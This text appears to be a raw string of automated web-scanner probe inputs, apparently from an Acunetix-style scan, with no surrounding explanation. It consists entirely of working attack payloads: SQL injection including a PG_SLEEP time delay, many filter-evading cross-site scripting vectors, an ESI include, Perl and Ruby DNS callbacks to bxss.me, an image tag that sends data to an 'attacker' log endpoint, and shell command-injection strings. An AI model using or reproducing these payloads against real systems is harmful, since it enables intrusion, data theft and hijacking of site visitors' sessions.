-1' OR 2+261-261-1=0+0+0+1 -- fnfOzvSR<isindex type=image src=1 onerror=hRDz(9001)> '.gethostbyname(lc('hiths'.'dzmcnwla1aa9d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(87).chr(110).chr(72).' fnfOzvSR"sTYLe='zzz:Expre/**/SSion(fzXl(9047))'bad=" fnfOzvSR\u0022onmouseover=c2bR(92533)\u0022 fnfOzvSR<isindex type=image src=1 onerror=fzXl(9224)> fnfOzvSR<img src=xyz OnErRor=c2bR(9957)> fnfOzvSR<a4pNIFL< fnfOzvSR"onmouseover=hRHf(98192)" fnfOzvSR<ScRiPt >TPmP(9986)</ScRiPt> fnfOzvSR<body onload=hRHf(9563)> fnfOzvSR<ifRAme sRc=9982.com></IfRamE> '"()&%<zzz><ScRiPt >asNj(9133)</ScRiPt> fnfOzvSR<esi:include src="http://bxss.me/rpb.png"/> fnfOzvSR< ScRiPt >asNj(9447)</ScRiPt> ^(#$!@#$)(()))****** fnfOzvSR<img sRc='http://attacker-9094/log.php? '+'A'.concat(70-3).concat(22*4).concat(103).concat(65).concat(118).concat(74)+(require'socket' Socket.gethostbyname('hited'+'qmerfnkzf1bf7.bxss.me.')[3].to_s)+' fnfOzvSR<ScR<ScRiPt>IpT>NxkX(9397)</sCr<ScRiPt>IpT> fnfOzvSR9744531 fnfOzvSR<WNSF2C>VUXAP[!+!]</WNSF2C> bfg8978%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8978 fnfOzvSR"onmouseover=Ii9M(90562)" fnfOzvSR<WFLG5B>A1JCT[!+!]</WFLG5B> fnfOzvSR<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9778></ScRiPt> AM2wNfXt' OR 765=(SELECT 765 FROM PG_SLEEP(15))-- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9765'> fnfOzvSR\u003CScRiPt\0HyN(9181)\u003C/sCripT\u003E fnfOzvSRmJCLL <ScRiPt >xGfB(9915)</ScRiPt> echo hfoife$()\ clydwf\nz^xyu||a #' &echo hfoife$()\ clydwf\nz^xyu||a #|" &echo hfoife$()\ clydwf\nz^xyu||a #
